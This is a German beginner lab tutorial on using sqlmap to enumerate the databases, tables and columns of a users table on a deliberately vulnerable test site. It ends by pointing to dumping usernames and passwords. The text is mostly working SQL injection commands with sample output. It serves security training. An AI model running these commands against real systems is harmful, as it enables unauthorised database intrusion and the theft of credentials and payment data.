Spalten aus einer bestimmten Tabelle mit sqlmap aufzählen

Beginner
Jetzt üben

Einleitung

In diesem Lab lernen Sie, wie Sie mit sqlmap Spaltennamen und deren Datentypen aus einer bestimmten Tabelle innerhalb einer Datenbank aufzählen können. sqlmap ist ein Open-Source-Penetrationstest-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen automatisiert und die Übernahme von Datenbankservern ermöglicht. Das Verständnis der Spaltenaufzählung ist ein entscheidender Schritt bei der Ausnutzung von Datenbanken, da es Ihnen ermöglicht, sensible Informationen präzise anzuzielen und zu extrahieren. Wir werden uns darauf konzentrieren, das Flag -T zur Angabe der Ziel-Tabelle und das Flag --columns zum Auflisten ihrer Spalten zu verwenden.

Auswahl einer Ziel-Datenbank und -Tabelle für die Aufzählung

In diesem Schritt identifizieren wir eine hypothetische Ziel-Datenbank und eine spezifische Tabelle darin, aus der wir Spalten aufzählen möchten. Für dieses Lab gehen wir davon aus, dass wir bereits eine anfällige URL und eine Datenbank namens testdb mit einer Tabelle namens users identifiziert haben.

Stellen Sie zunächst sicher, dass sqlmap auf Ihrem System verfügbar ist. Falls nicht, können Sie es mit apt installieren.

sudo apt update
sudo apt install -y sqlmap

Nun simulieren wir ein anfälliges Ziel. Wir verwenden eine Dummy-URL zu Demonstrationszwecken. In einem realen Szenario wäre dies eine URL, die anfällig für SQL-Injection ist.

Für dieses Lab verwenden wir die folgende Platzhalter-URL: http://testphp.vulnweb.com/listproducts.php?cat=1. Dies ist ein bekanntes anfälliges Ziel, das häufig zum Testen verwendet wird. Wir gehen davon aus, dass wir bereits eine Datenbank namens acuart und darin eine Tabelle namens users identifiziert haben. Unser Ziel ist es, Spalten aus der Tabelle users aufzuzählen.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

Sie sollten eine Liste von Datenbanken sehen, einschließlich acuart. Dies bestätigt, dass unser Ziel zugänglich ist und sqlmap damit interagieren kann.

...
[INFO] Daten für alle Datenbanken abgerufen
verfügbare Datenbanken [2]:
[*] acuart
[*] information_schema
...

Als Nächstes bestätigen wir die Tabellen in der Datenbank acuart.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

Sie sollten eine Liste von Tabellen sehen, einschließlich users.

...
[INFO] Daten für alle Tabellen in Datenbank 'acuart' abgerufen
Datenbank: acuart
[10 Tabellen]
+------------+
| artists    |
| carts      |
| categories |
| guestbook  |
| pictures   |
| products   |
| users      |
| ...        |
+------------+
...

Dies bestätigt, dass die Datenbank acuart und die Tabelle users auf unserem Ziel vorhanden sind.

Verwendung des Flags -T zur Angabe der Tabelle

In diesem Schritt lernen wir, wie wir das Flag -T in sqlmap verwenden, um die Ziel-Tabelle anzugeben, aus der wir Spalten aufzählen möchten. Das Flag -T wird in Verbindung mit dem Flag -D (für Datenbank) verwendet, um den Umfang unserer Aufzählung einzugrenzen.

Die grundlegende Syntax zur Angabe einer Tabelle lautet: sqlmap -u <ziel_url> -D <datenbankname> -T <tabellenname> [andere_optionen]

Fortfahrend vom vorherigen Schritt haben wir die Datenbank acuart und die Tabelle users identifiziert. Nun bereiten wir den sqlmap-Befehl vor, um diese spezifische Tabelle anzuzielen. Wir werden die vollständige Aufzählung noch nicht ausführen, sondern den Befehl erstellen.

Öffnen Sie Ihr Terminal im Verzeichnis ~/project.

echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt

Dieser Befehl speichert den anfänglichen Teil unseres sqlmap-Befehls in einer Datei namens command_part1.txt und zeigt dann deren Inhalt an. Dies hilft beim schrittweisen Aufbau komplexer Befehle.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users

Durch die Verwendung von -D acuart -T users weisen wir sqlmap an, seine Operationen speziell auf die Tabelle users innerhalb der Datenbank acuart zu konzentrieren. Dies ist entscheidend für eine effiziente und gezielte Aufzählung.

Verwendung des Flags --columns zum Auflisten von Spalten

In diesem Schritt führen wir das Flag --columns ein, das verwendet wird, um sqlmap anzuweisen, die Spaltennamen und ihre Datentypen innerhalb der angegebenen Tabelle aufzuzählen. Dieses Flag ist unerlässlich, um die Struktur der Tabelle zu verstehen und potenziell interessante Spalten für die Datenextraktion zu identifizieren.

Das Flag --columns wird an den Befehl angehängt, den wir im vorherigen Schritt zu erstellen begonnen haben.

Die vollständige Syntax lautet: sqlmap -u <ziel_url> -D <datenbankname> -T <tabellenname> --columns

Fügen wir das Flag --columns zu unserem Befehl hinzu.

echo ' --columns' >> command_part1.txt
cat command_part1.txt

Nun sollte die Datei command_part1.txt den vollständigen sqlmap-Befehl zum Aufzählen der Spalten aus der Tabelle users enthalten.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

Das Flag --columns weist sqlmap an, eine spezifische Art der Aufzählung durchzuführen: das Auflisten aller verfügbaren Spalten in der Ziel-Tabelle. Dies ist eine leistungsstarke Funktion, die beim Abbilden des Datenbankschemas hilft.

Ausführen des Befehls zur Aufzählung von Spalten

In diesem Schritt führen wir den vollständigen sqlmap-Befehl aus, den wir in den vorherigen Schritten erstellt haben. Dieser Befehl weist sqlmap an, eine Verbindung zur Ziel-URL herzustellen, die Datenbank acuart zu identifizieren, die Tabelle users anzuzielen und dann alle Spalten innerhalb dieser Tabelle aufzuzählen.

Stellen Sie sicher, dass Sie sich im Verzeichnis ~/project befinden.

bash command_part1.txt

Nach der Ausführung beginnt sqlmap mit seinem Prozess. Möglicherweise werden während des Prozesses einige Fragen gestellt, z. B. ob eine bestimmte Payload verwendet werden soll oder ob mit den Standardoptionen fortgefahren werden soll. Für dieses Lab können Sie in der Regel die Eingabetaste drücken, um die Standardauswahl zu akzeptieren, oder y für Ja, wenn Sie dazu aufgefordert werden.

...
[INFO] Daten für alle Spalten in Tabelle 'users' in Datenbank 'acuart' abgerufen
Datenbank: acuart
Tabelle: users
[7 Spalten]
+----------+-----------+
| Spalte   | Typ       |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+
...

Die Ausgabe zeigt eine Tabelle mit den Spaltennamen und den entsprechenden Datentypen, die in der Tabelle users gefunden wurden. Dies ist das Kernziel dieses Labs.

Überprüfung der Spaltennamen und ihrer Datentypen

In diesem letzten Schritt überprüfen wir die Ausgabe des in den vorherigen Schritten ausgeführten sqlmap-Befehls. Das Verständnis der aufzuzählenden Spaltennamen und ihrer Datentypen ist entscheidend für weitere Exploits oder Analysen.

Betrachten Sie die Ausgabe des vorherigen Befehls. Sie sollten eine Tabelle ähnlich dieser sehen:

Datenbank: acuart
Tabelle: users
[7 Spalten]
+----------+-----------+
| Spalte   | Typ       |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+

Aus dieser Ausgabe können wir mehrere wichtige Spalten identifizieren:

  • email: Speichert wahrscheinlich Benutzer-E-Mail-Adressen.
  • uname: Speichert wahrscheinlich Benutzernamen.
  • pass: Speichert wahrscheinlich Benutzerpasswörter (oder Passwort-Hashes).
  • cc: Speichert potenziell Kreditkarteninformationen.
  • address: Speichert Benutzeradressen.
  • name: Speichert vollständige Namen von Benutzern.
  • phone: Speichert Telefonnummern von Benutzern.

Die Spalte Type gibt den Datentyp jeder Spalte an (z. B. bedeutet varchar(50) eine Zeichenkette variabler Länge mit bis zu 50 Zeichen). Diese Informationen sind entscheidend für die Erstellung nachfolgender sqlmap-Befehle, wie z. B. das Auslesen von Daten aus bestimmten Spalten mit dem Flag -C. Um beispielsweise Benutzernamen und Passwörter auszulesen, würden Sie -C uname,pass --dump verwenden.

Dieser Schritt schließt den Prozess der Aufzählung von Spalten aus einer bestimmten Tabelle mit sqlmap ab. Sie haben nun ein klares Verständnis dafür, wie Sie bestimmte Tabellen anvisieren und deren Spaltenstrukturen abrufen können.

Zusammenfassung

In diesem Lab haben Sie erfolgreich gelernt, wie man Spalten aus einer bestimmten Tabelle mit sqlmap aufzählt. Sie haben damit begonnen, eine Ziel-Datenbank und -Tabelle zu identifizieren, dann schrittweise den sqlmap-Befehl mit den Flags -D (Datenbank), -T (Tabelle) und --columns erstellt. Schließlich haben Sie den Befehl ausgeführt und die Ausgabe überprüft, wobei Sie die Bedeutung der aufzuzählenden Spaltennamen und ihrer Datentypen verstanden haben. Diese Fähigkeit ist grundlegend für jeden, der Datenbank-Penetrationstests oder Sicherheitsbewertungen durchführt, da sie die notwendigen Informationen liefert, um sensible Daten effektiv zu extrahieren.